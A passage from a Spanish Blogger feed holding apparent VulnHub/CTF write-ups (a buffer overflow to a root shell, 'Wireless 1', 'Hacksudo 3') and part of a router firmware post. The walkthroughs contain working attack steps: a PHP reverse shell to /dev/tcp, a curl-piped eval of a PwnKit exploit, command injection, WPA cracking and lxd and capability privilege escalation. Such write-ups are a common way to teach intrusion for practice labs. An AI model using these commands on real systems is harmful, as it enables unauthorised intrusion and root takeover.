memoria</a><span face="sans-serif" style="background-color: white; color: #202122; font-size: 14px;">. Con el fin de impedir que un atacante salte de forma fiable a, por ejemplo, una función explotable en concreto de la memoria, ASLR dispone de forma aleatoria las posiciones del </span><a href="https://es.wikipedia.org/wiki/Espacio_de_direcciones" style="animation-delay: -0.01ms; animation-duration: 0.01ms; animation-iteration-count: 1; background: none rgb(255, 255, 255); color: #0645ad; font-family: sans-serif; font-size: 14px; scroll-behavior: auto; text-decoration-line: none; transition-duration: 0ms;" title="Espacio de direcciones">espacio de direcciones</a><span face="sans-serif" style="background-color: white; color: #202122; font-size: 14px;"> de las áreas de datos clave de un </span><a href="https://es.wikipedia.org/wiki/Proceso_(inform%C3%A1tica)" style="animation-delay: -0.01ms; animation-duration: 0.01ms; animation-iteration-count: 1; background: none rgb(255, 255, 255); color: #0645ad; font-family: sans-serif; font-size: 14px; scroll-behavior: auto; text-decoration-line: none; transition-duration: 0ms;" title="Proceso (informática)">proceso</a><span face="sans-serif" style="background-color: white; color: #202122; font-size: 14px;">, incluyendo la base del </span><a href="https://es.wikipedia.org/wiki/Ejecutable" style="animation-delay: -0.01ms; animation-duration: 0.01ms; animation-iteration-count: 1; background: none rgb(255, 255, 255); color: #0645ad; font-family: sans-serif; font-size: 14px; scroll-behavior: auto; text-decoration-line: none; transition-duration: 0ms;" title="Ejecutable">ejecutable</a><span face="sans-serif" style="background-color: white; color: #202122; font-size: 14px;"> y las posiciones de la </span><a href="https://es.wikipedia.org/wiki/Pila_(inform%C3%A1tica)" style="animation-delay: -0.01ms; animation-duration: 0.01ms; animation-iteration-count: 1; background: none rgb(255, 255, 255); color: #0645ad; font-family: sans-serif; font-size: 14px; scroll-behavior: auto; text-decoration-line: none; transition-duration: 0ms;" title="Pila (informática)">pila</a><span face="sans-serif" style="background-color: white; color: #202122; font-size: 14px;">, el </span><span face="sans-serif" style="animation-delay: -0.01ms; animation-duration: 0.01ms; animation-iteration-count: 1; background-color: white; color: #202122; font-size: 14px; scroll-behavior: auto; transition-duration: 0ms;"><a href="https://es.wikipedia.org/wiki/Mont%C3%ADculo_(inform%C3%A1tica)" style="animation-delay: -0.01ms; animation-duration: 0.01ms; animation-iteration-count: 1; background: none; color: #0645ad; scroll-behavior: auto; text-decoration-line: none; transition-duration: 0ms;" title="Montículo (informática)">heap</a></span><span face="sans-serif" style="background-color: white; color: #202122; font-size: 14px;"> y las </span><a href="https://es.wikipedia.org/wiki/Biblioteca_(inform%C3%A1tica)" style="animation-delay: -0.01ms; animation-duration: 0.01ms; animation-iteration-count: 1; background: none rgb(255, 255, 255); color: #0645ad; font-family: sans-serif; font-size: 14px; scroll-behavior: auto; text-decoration-line: none; transition-duration: 0ms;" title="Biblioteca (informática)">librerías</a><span face="sans-serif" style="background-color: white; color: #202122; font-size: 14px;">.</span></i></p><p style="text-align: justify;"><span face="sans-serif" style="background-color: white; color: #202122; font-size: 14px;"><br /></span></p><p style="text-align: justify;">Bajamos el programa a nuestra máquina, desactivamos aslr y en estático con gdb calculamos el payload que nos permita alcanzar la función spawn_shell que ejecuta el shell en root.</p><p style="text-align: justify;">La inyección se hace a través de la variable env INSTALLED que comprueba e imprime.</p><p style="text-align: justify;">1. Creamos un pattern con metasploit</p><p style="text-align: justify;"><b>/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000</b></p><div style="text-align: justify;">2. lo metemos en el env </div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">export INSTALLED=Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">(se puede hacer con menos, sabemos que el buffer es de 30, pero en situaciones random hay que calcularlo a ciegas)</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">3. y en gdb-peda ejecutamos, fijándonos en la salida segmentada (si no segmenta aumentar el pattern)</div><div style="text-align: justify;"><br /></div><div><div style="text-align: justify;">Stopped reason: SIGSEGV</div><div style="text-align: justify;"><b>0x41346241</b> in ?? ()</div></div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">4. Calculamos la longitud del payload con metasploit</div><div style="text-align: justify;"><br /></div><div><div style="text-align: justify;"><b>/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x41346241</b></div><div style="text-align: justify;">[*] Exact match at offset <b>42</b></div></div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">5. Luego el payload debe tener longitud 46, los 42 caracteres random para el overflow y debemos sobreescribir <b>EIP </b>donde pondremos la dirección de spawn_shell. Para comprobar que todo funciona podemos hacer </div><div style="text-align: justify;"><br /></div><div><div style="text-align: justify;">export INSTALLED=$(python -c "print(b'\x42' * 42 + 'K'*4)")</div></div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">y comprobar en gdb-peda que EIP se llena con "KKKK".</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">6. En lugar de las k's metemos la dirección buscada: en gdb-peda: info line spawn_shell. Con eso sabemos que funciona en estático, pero en la máquina víctima con aslr activado hay que bruteforcearlo porque las direcciones varían pero no mucho. Antes de eso hacemos el gdb en la máquina víctima para ver la dirección de la función spawn_shell y actualizamos el payload, y después basta con hacer</div><div style="text-align: justify;"><br /></div><div><div style="text-align: justify;"><b>for i in {1..500}; do ./install; done</b></div></div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">en unas pocas iteraciones romperá correctamente:</div><div style="text-align: justify;"><br /></div><div><div style="text-align: justify;">Segmentation fault (core dumped)</div><div style="text-align: justify;">FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF�cV</div><div style="text-align: justify;">Segmentation fault (core dumped)</div><div style="text-align: justify;">FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF�cV</div><div style="text-align: justify;">root@kb-server:~# id</div><div style="text-align: justify;"><b>uid=0(root) gid=1000(machineboy)</b> groups=1000(machineboy),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)</div><div style="text-align: justify;">root@kb-server:~# cd /root</div><div style="text-align: justify;">root@kb-server:/root# ls</div><div style="text-align: justify;">root.txt</div><div style="text-align: justify;">root@kb-server:/root# cat root.txt</div><div style="text-align: justify;"> ________________</div><div style="text-align: justify;">< congratulations ></div><div style="text-align: justify;"> ----------------</div><div style="text-align: justify;"> \ ,__,</div><div style="text-align: justify;"> \ (oo)____</div><div style="text-align: justify;"> (__) )\</div><div style="text-align: justify;"> ||--|| *</div><div style="text-align: justify;"> </div><div style="text-align: justify;"> kernelblog.org</div><div style="text-align: justify;"> </div><div style="text-align: justify;">cdf323526dbbd53d572d485fdd37d518</div><div style="text-align: justify;">root@kb-server:/root# </div></div><div><br /></div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9cPGGrc7rwJd38jvTUQ344oMBpb9pqn1UVtF3FRBBztOrQTW99JWKSOLKk5U17dGPk9HBpL6RB9kn3K9on3Ka7sxi2q3c_nz3qu2gxACv2JvTNqeNXYaqDV5N5h5e_mMxsSmgvxB64A1Sc9N6QDCgIot3-ubCvSY9UjXomzuf24ZOCvwfnho-ZN4f/s1920/fsociety.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1080" data-original-width="1920" height="330" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9cPGGrc7rwJd38jvTUQ344oMBpb9pqn1UVtF3FRBBztOrQTW99JWKSOLKk5U17dGPk9HBpL6RB9kn3K9on3Ka7sxi2q3c_nz3qu2gxACv2JvTNqeNXYaqDV5N5h5e_mMxsSmgvxB64A1Sc9N6QDCgIot3-ubCvSY9UjXomzuf24ZOCvwfnho-ZN4f/w587-h330/fsociety.jpg" width="587" /></a></div><br /><p><br /></p>josehttp://www.blogger.com/profile/07240396942621664293noreply@blogger.com0tag:blogger.com,1999:blog-7497320377221458624.post-803227307396030842022-07-26T09:19:00.005-07:002022-07-26T10:06:07.078-07:00Breaking Wireless 1<p> https://www.vulnhub.com/entry/wireless-1,669/</p><p>- Más fácil de lo que parece</p><p>- Enumeración 22,80,8080,8000</p><p>- En 80 está el apache plano, vamos a 8000 y está un voip. El ssh lo dejamos de momento y puede que no haga falta</p><p>- El vector de entrada parece el puerto 8000, tiene página de login y el user podemos probarlo con lo que se ve en la página principal, lo que nunca debe hacerse, <b>jinmori</b>@voip.in. Bruteforceamos con Burp pero no sale nada. </p><p>- Miramos más en la web, y el login.js contiene un base64 que oculta un javascript ofuscado</p><p>var _0xb5c3=["\x6A\x69\x6E\x6D\x6F\x72\x69","\x54\x68\x65\x20\x71\x75\x69\x63\x6B\x20\x62\x72\x6F\x77\x6E\x20\x66\x6F\x78\x20\x6A\x75\x6D\x70\x73\x20\x6F\x76\x65\x72\x20\x74\x68\x65\x20\x6C\x61\x7A\x79\x20\x64\x6F\x67","\x63\x68\x61\x72\x43\x6F\x64\x65\x41\x74","\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65"];document.write(_0xb5c3);var u=_0xb5c3[0];var string=_0xb5c3[1];var a=string[_0xb5c3[2]](0);var b=string[_0xb5c3[2]](36);var c=string[_0xb5c3[2]](2);var d=string[_0xb5c3[2]](8);var e=string[_0xb5c3[2]](13);var f=string[_0xb5c3[2]](12);var g=string[_0xb5c3[2]](14);var h=string[_0xb5c3[2]](40);var i=string[_0xb5c3[2]](12);var p=String[_0xb5c3[3]](a,b,c,d,e,f,g,h,i);document.write(p);</p><p>lo modificamos un poco y sale la clave: <span style="background-color: white;"><b>Taekwondo</b></span></p><p><span style="background-color: white;">- Entramos, y poco puede hacerse excepto ver los logs</span></p><p><span style="background-color: white;">http://192.168.2.20:8000/voip_logs</span></p><p><span style="background-color: white;">De ahí sacamos un nuevo dominio de prueba: <b>wireless.com</b></span></p><p><span style="background-color: white;">- Entramos y es un cms simple con su login. De nuevo aparece un user: <b>juniordev</b>, ahora sí bruteforceamos con Burp y sale pass <b>passion</b>. Entramos</span></p><p>- Analizamos el cms y podemos subir archivos --> subir un shell reverse. Lo hacemos cambiando la extensión a .phar y entramos por cmd</p><p><?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.2.X/8888 0>&1'"); ?></p><p>- Directamente con <b>suid3num.py</b> encontramos <b>polkit-agent-helper-1</b> con lo que hay que probar este vector de entrada: </p><p>www-data@VOIP:/tmp$ eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"</p><p><nt.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"</p><p>cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c</p><p>cc -Wall cve-2021-4034.c -o cve-2021-4034</p><p>echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules</p><p>mkdir -p GCONV_PATH=.</p><p>cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:.</p><p>id</p><p>uid=0(<b>root</b>) gid=0(root) groups=0(root),33(www-data)</p><p>- No es seguramente la solución a priori porque hay un user home <b>coherer </b>con su flag, pero de esta manera es más rápido y directo. Quizá es un fallo del autor de la máquina, que habría pensado que hay que acceder al shell por el usuario coherer. ¿Cómo?</p><p>- en la página original sacábamos no solo el domain wireless.com sino que era para testing</p><p>podemos pensar en <b>testing.wireless.com</b></p><p> y ahí encontramos el uso del puerto 8080. Encontramos un bot con el que hay que probar, help por ejemplo y nos da varias opciones, por ejemplo <span style="background-color: black; color: white;">Aircrack-ng </span> y Logs. Con el <span style="background-color: black; color: white;">Aircrack-ng</span> bajamos un pcap wifi de la red coherer, luego ya nos pone sobre la pista, y con Logs un documento en principio sin utilidad. Con wireshark echamos un vistazo y parece que podemos sacar la clave wifi de coherer. </p><p>- se trata ahora de crackear la clave wpa, usando diccionarios varios o creando uno al efecto del documento log que hemos hallado:</p><p>hacemos <b>cewl </b>al documento -w dicwpa</p><p>y luego es bueno aplicar alguna regla <b>john</b></p><p>john --wordlist=dicwpa--rules=best64 --stdout > wpacrack.lst</p><p>y finalmente</p><p>sudo aircrack-ng -a 2 -b 00:0c:41:82:b2:55 -w ../wireless/wpacrack.lst /mnt/d/vulnv/WPA-Capture.pcap -e Coherer</p><p> KEY FOUND! [ Induction ]</p><p>- Hacemos ssh con estas credenciales y ya estamos dentro. Solo que de nuevo parece que la única posibilidad de escalar a root es con la vulnerabilidad polkit, que podía aplicarse solo con el usuario apache.</p><p>*POST</p><p>por supuesto que se trataba de usar el vector lxd.</p><p>La manera de hacerlo es la siguiente:</p><p>- descargar en la víctima los archivos: <span style="white-space: pre;">lxd.tar.xz y rootfs.squashfs ya compilados en nuestra máquina</span></p><p><span style="white-space: pre;">- lxd init
y entonces
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
lxc init alpine privesc -c security.privileged=true
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
lxc start privesc
lxc exec privesc /bin/sh</span></p><p>entramos al container y luego tenemos el filesystem en mnt</p><p><br /></p><p><br /></p><p><span style="background-color: white;"><br /></span></p>josehttp://www.blogger.com/profile/07240396942621664293noreply@blogger.com0tag:blogger.com,1999:blog-7497320377221458624.post-32321680173322472212022-07-26T01:58:00.006-07:002022-07-26T02:06:10.905-07:00Breaking Hacksudo 3 Máquina sencilla de veranoWup de la máquina https://www.vulnhub.com/entry/hacksudo-3,671/ <div><br /></div><div>Nivel: principiante! </div><div><br /></div><div> 1- <b>nmap</b>, solo aparece abierto el puerto 80, accedemos y redirecciona a</div><div><br /></div><div> http://192.168.2.50/create/ </div><div><br /></div><div> interesante el proyecto, pero de momento opaco a lo que buscamos</div><div><br /></div><div>2- <b>gobuster</b>, u otros, detectamos login.php, generator.php. Con el login podemos bruteforcear pero esto es siempre lo último. Probamos en generator.php. Parece que metemos una cadena y la presenta gráficamente en lo que parece que usa figlet </div><div><br /></div><div> https://ubunlog.com/figlet-banners-ascii-terminal/ </div><div><br /></div><div>3- <b>figlet </b>se ejecuta en system luego podemos probar si es vulnerable a la entrada. Metemos ';' pero no va, probamos con &: entrada post: '& whoami', y funciona: www-data. </div><div><br /></div><div>Vamos a explotarlo mirando con ls y lo primero es volcar el login.php: & cat login.php, sacamos las claves del login, entramos y nos dice </div><div><br /></div><div> you have logged in successfully , 0x Open The Next Door key is = GMYTGMBTGAZTAMZRGIYDGMJTGAZTAMZQGMZDEMBTGEZTAMZQGMYDGMY= </div><div><br /></div><div>4- <b>cyberchef</b>, se trata de base32 y luego from hex. Nos da 3 números 10001,10002,10003. Lo primero es pensar en puertos, son 3, luego debe ser <b>port knocking</b>. Al pasarle los puertos se debe abrir algún puerto, lo hacemos y es el 22, ssh, pero no tenemos las credenciales </div><div><br /></div><div>5- seguimos con figlet y buscamos ls .., sale un archivo hacksudo, lo miramos y en caesar contiene </div><div><br /></div><div> hacksudo locker SSH username:hacksudo password:63c9142792d571d0f7c28eb30626d6f38792a2e7679b76d784231676d62447fb80af8953745f709c6622dda2cb4d754c262d0d31b3030a08f7b524079a6b336b </div><div><br /></div><div> usamos <b>jhf </b>(antes que hashcat/john) y nos da 'vishal' </div><div><br /></div><div>6- ya tenemos las credenciales ssh, pero el knocking dura unos milisegundos, luego </div><div><br /></div><div> knock 192.168.2.50 10001 10002 10003 & ssh hacksudo@192.168.2.50
7</div><div><br /></div><div>7 - una vez dentro hacemos <b>getcap </b>y encontramos </div><div><br /></div><div> /home/hacksudo/locker/php cap_setuid=ep </div><div><br /></div><div> finalmente suid sin sudo:</div><div><br /></div><div> hacksudo@hacksudo:~$ /home/hacksudo/locker/php -r "posix_setuid(0); system('/bin/bash');" </div><div><br /></div><div>root@hacksudo:~# id </div><div>root@hacksudo:~# uid=0(root) gid=1000(hacksudo) groups=1000(hacksudo),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd)
</div>josehttp://www.blogger.com/profile/07240396942621664293noreply@blogger.com0tag:blogger.com,1999:blog-7497320377221458624.post-50610682106859362982017-07-10T19:38:00.000-07:002017-07-13T20:45:47.762-07:00Actualizando a LEDE (Openwrt based) el router Afoundry EW-1200<div style="text-align: justify;">
Tenemos aquí un router "chino" que en principio llama la atención por las 6 antenas que trae. Por el precio sería un router de gama media-alta.</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://www.mbreviews.com/wp-content/uploads/2017/02/afoundry-ew1200-1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="370" data-original-width="570" height="414" src="https://www.mbreviews.com/wp-content/uploads/2017/02/afoundry-ew1200-1.jpg" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
<a href="http://www.mbreviews.com/afoundry-ew1200-router-review/" rel="nofollow" target="_blank">Aquí </a>viene una review. Me quedo con la aparente potencia del procesador <span style="background-color: rgba(255 , 255 , 255 , 0.8); color: #333333; font-family: "helvetica" , "arial" , sans-serif; font-size: 15.6096px;"><a href="https://wikidevi.com/wiki/MediaTek_MT7621" rel="nofollow" target="_blank">Mediatek </a></span><strong style="background-color: rgba(255, 255, 255, 0.8); color: #333333; font-family: Helvetica, Arial, sans-serif; font-size: 15.6096px;"><a href="https://wikidevi.com/wiki/MediaTek_MT7621" rel="nofollow" target="_blank">MT7621</a> </strong>de 2 núcleos a 880 Mhz y la capacidad de emitir wifi simultáneamente en las bandas de 2.4 y 5 Ghz. Incorpora además</div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<span style="background-color: rgba(255 , 255 , 255 , 0.8); color: #333333; font-family: "helvetica" , "arial" , sans-serif; font-size: 15.6096px;"></span><br />
<div style="text-align: justify;">
<span style="background-color: rgba(255 , 255 , 255 , 0.8); color: #333333; font-family: "helvetica" , "arial" , sans-serif; font-size: 15.6096px;"><span style="font-size: 15.6096px;">- </span><strong style="font-size: 15.6096px;">128 MB</strong><span style="font-size: 15.6096px;"> DDR3 RAM</span></span></div>
<span style="background-color: rgba(255 , 255 , 255 , 0.8); color: #333333; font-family: "helvetica" , "arial" , sans-serif; font-size: 15.6096px;">
</span><span style="background-color: rgba(255 , 255 , 255 , 0.8); color: #333333; font-family: "helvetica" , "arial" , sans-serif; font-size: 15.6096px;"></span>
<br />
<div style="text-align: justify;">
<span style="background-color: rgba(255 , 255 , 255 , 0.8); color: #333333; font-family: "helvetica" , "arial" , sans-serif; font-size: 15.6096px;"><span style="font-size: 15.6096px;">- 128 Mb SPI flash</span></span></div>
<span style="background-color: rgba(255 , 255 , 255 , 0.8); color: #333333; font-family: "helvetica" , "arial" , sans-serif; font-size: 15.6096px;">
</span><span style="background-color: rgba(255 , 255 , 255 , 0.8); color: #333333; font-family: "helvetica" , "arial" , sans-serif; font-size: 15.6096px;"></span>
<br />
<div style="text-align: justify;">
<span style="background-color: rgba(255 , 255 , 255 , 0.8); color: #333333; font-family: "helvetica" , "arial" , sans-serif; font-size: 15.6096px;"><span style="font-size: 15.6096px;">- 1 USB 3.0</span></span></div>
<span style="background-color: rgba(255 , 255 , 255 , 0.8); color: #333333; font-family: "helvetica" , "arial" , sans-serif; font-size: 15.6096px;">
</span>
<br />
<div style="text-align: justify;">
<span style="color: #333333; font-family: "helvetica" , "arial" , sans-serif;"><span style="font-size: 15.6096px;"><br /></span></span></div>
<div>
<div style="text-align: justify;">
<span style="font-family: inherit;"><span style="color: #333333;">Funciona bastante bien, pero la interfaz web es demasiado austera y deja muchos parámetros ocultos que lo harían más potente. En concreto trae instalado el <a href="https://wiki.openwrt.org/es/doc/barrier.breaker" rel="nofollow" target="_blank">Openwrt Barrier Breaker 14.07</a> pero modificado. Para manipularlo abrimos la carcasa y conectamos por el puerto serial que trae, en este caso de solo 3 pines Rx,Gnd,Tx. No trae JTAG. Para conectar usamos de nuevo un cable prolific </span><span style="background-color: white; color: #111111;">Plugable USB to RS-232 DB9</span><span style="color: #333333;"> y un </span><span style="background-color: white; color: #111111;">Serial Port Converter </span><span style="background-color: white; color: #111111;">JY-R2T V1.2 RS232. Al ser una conexión de solo tres pines sin VCC (alimentación), tenemos que alimentar manualmente el Serial Port Converter con un cable usb al ordenador.</span></span></div>
<div style="text-align: justify;">
<span style="font-family: inherit;"><span style="background-color: white; color: #111111;"><br /></span></span></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6nmo9Fhlma52yn8mwdVA7E61cQJsMMVYE-rn8ROFdODn6vswQNgmuEMjkrHbNRAqPRBkLCl89Opgk2Uo5Uj-nlDf6LfPfe1rg1LHYEObyLM4vRvZEihizRhbAFUxp8R0-uvL6skj0MQo/s1600/20170711_031521.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="900" data-original-width="1600" height="360" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6nmo9Fhlma52yn8mwdVA7E61cQJsMMVYE-rn8ROFdODn6vswQNgmuEMjkrHbNRAqPRBkLCl89Opgk2Uo5Uj-nlDf6LfPfe1rg1LHYEObyLM4vRvZEihizRhbAFUxp8R0-uvL6skj0MQo/s640/20170711_031521.jpg" width="640" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
<div style="text-align: justify;">
<span style="font-family: inherit;"><span style="background-color: white; color: #111111;"><br /></span></span></div>
<div style="text-align: justify;">
<span style="color: #333333; font-family: "helvetica" , "arial" , sans-serif; font-size: 15.6096px;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEijPDFp3zUID7AdqAhj1P5yPu48WUOCz4aPg-5ee2thqrHG8262tnkI8AKGvhZVXwJVo8ft_eh1j1VX6oUWg9iX6cKonVkSym_DnQtHcKYW0AUNsYcVbYh5fI3Acm0wzIdH6rTT6kcKDBg/s1600/20170711_031538.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="900" data-original-width="1600" height="360" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEijPDFp3zUID7AdqAhj1P5yPu48WUOCz4aPg-5ee2thqrHG8262tnkI8AKGvhZVXwJVo8ft_eh1j1VX6oUWg9iX6cKonVkSym_DnQtHcKYW0AUNsYcVbYh5fI3Acm0wzIdH6rTT6kcKDBg/s640/20170711_031538.jpg" width="640" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMt51rwRHMlC8oILrY3x-pj4ZZGyiBhE_qAM5gcCOath83NumYdvu_BkVJk5lSOMlSF6Nylt96XgvfETY_8cW28Ky4i1y31PY4X1krF7wO-cvjIdmG3NH9mifBtMS91r629RRL7qT_WKM/s1600/20170711_031600.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="900" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMt51rwRHMlC8oILrY3x-pj4ZZGyiBhE_qAM5gcCOath83NumYdvu_BkVJk5lSOMlSF6Nylt96XgvfETY_8cW28Ky4i1y31PY4X1krF7wO-cvjIdmG3NH9mifBtMS91r629RRL7qT_WKM/s640/20170711_031600.jpg" width="360" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcYHXLlWnjclM6A4EPKJQJ56mxBW1_utPlxw-UYA4tsdj7qCOyU2pnJG7O6P9fyNAfC6YJEP8MEQ01GCVNTJ_N9eva8GR1KpzI8jUk8UwfFK88I3D_u6sBYDArl-sX0aExLXOqsYffDHk/s1600/20170711_031624.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="900" data-original-width="1600" height="360" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcYHXLlWnjclM6A4EPKJQJ56mxBW1_utPlxw-UYA4tsdj7qCOyU2pnJG7O6P9fyNAfC6YJEP8MEQ01GCVNTJ_N9eva8GR1KpzI8jUk8UwfFK88I3D_u6sBYDArl-sX0aExLXOqsYffDHk/s640/20170711_031624.jpg" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div style="text-align: justify;">
<span style="color: #333333; font-family: "helvetica" , "arial" , sans-serif; font-size: 15.6096px;"><br /></span></div>
<div style="text-align: justify;">
<span style="color: #333333; font-family: "helvetica" , "arial" , sans-serif; font-size: 15.6096px;"><br /></span></div>
<div style="text-align: justify;">
<span style="color: #333333; font-family: "helvetica" , "arial" , sans-serif;"><span style="font-size: 15.6096px;">Usando Hyperterminal y conexión 57600 8N1 obtenemos lo siguiente:</span></span></div>
<div style="text-align: justify;">
<span style="color: #333333; font-family: "helvetica" , "arial" , sans-serif;"><span style="font-size: 15.6096px;"><br /></span></span></div>
<div style="text-align: justify;">
<span style="color: #333333; font-family: "helvetica" , "arial" , sans-serif;"><span style="font-size: 15.6096px;">...</span></span></div>
<div style="text-align: justify;">
<span style="color: #333333; font-family: "helvetica" , "arial" , sans-serif;"><span style="font-size: 15.6096px;"></span></span><br />
<div>
<span style="color: #333333; font-family: "helvetica" , "arial" , sans-serif;"><span style="font-size: 15.6096px;">===================================================================</span></span></div>
<span style="color: #333333; font-family: "helvetica" , "arial" , sans-serif;"><span style="font-size: 15.6096px;">
</span></span>
<br />
<div>
<span style="color: #333333; font-family: "helvetica" , "arial" , sans-serif;"><span style="font-size: 15.6096px;"><br /></span></span></div>
<span style="color: #333333; font-family: "helvetica" , "arial" , sans-serif;"><span style="font-size: 15.6096px;">
</span></span>
<br />
<div>
<span style="color: #333333; font-family: "helvetica" , "arial" , sans-serif;"><span style="font-size: 15.6096px;"> <span style="white-space: pre;"> </span>MT7621 stage1 code done </span></span></div>
<span style="color: #333333; font-family: "helvetica" , "arial" , sans-serif;"><span style="font-size: 15.6096px;">
</span></span>
<br />
<div>
<span style="color: #333333; font-family: "helvetica" , "arial" , sans-serif;"><span style="font-size: 15.6096px;"><br /></span></span></div>
<span style="color: #333333; font-family: "helvetica" , "arial" , sans-serif;"><span style="font-size: 15.6096px;">
</span></span>
<br />
<div>
<span style="color: #333333; font-family: "helvetica" , "arial" , sans-serif;"><span style="font-size: 15.6096px;"> <span style="white-space: pre;"> </span>CPU=50000000 HZ BUS=16666666 HZ</span></span></div>
<span style="color: #333333; font-family: "helvetica" , "arial" , sans-serif;"><span style="font-size: 15.6096px;">
</span></span>
<br />
<div>
<span style="color: #333333; font-family: "helvetica" , "arial" , sans-serif;"><span style="font-size: 15.6096px;"><br /></span></span></div>
<span style="color: #333333; font-family: "helvetica" , "arial" , sans-serif;"><span style="font-size: 15.6096px;">
</span></span>
<br />
<div>
<span style="color: #333333; font-family: "helvetica" , "arial" , sans-serif;"><span style="font-size: 15.6096px;">===================================================================</span></span></div>
<span style="color: #333333; font-family: "helvetica" , "arial" , sans-serif;"><span style="font-size: 15.6096px;">
</span></span>
<div>
<span style="color: #333333; font-family: "helvetica" , "arial" , sans-serif;"><span style="font-size: 15.6096px;"><br /></span></span></div>
<span style="color: #333333; font-family: "helvetica" , "arial" , sans-serif;"><span style="font-size: 15.6096px;">
<div>
<br /></div>
<div>
<br /></div>
<div>
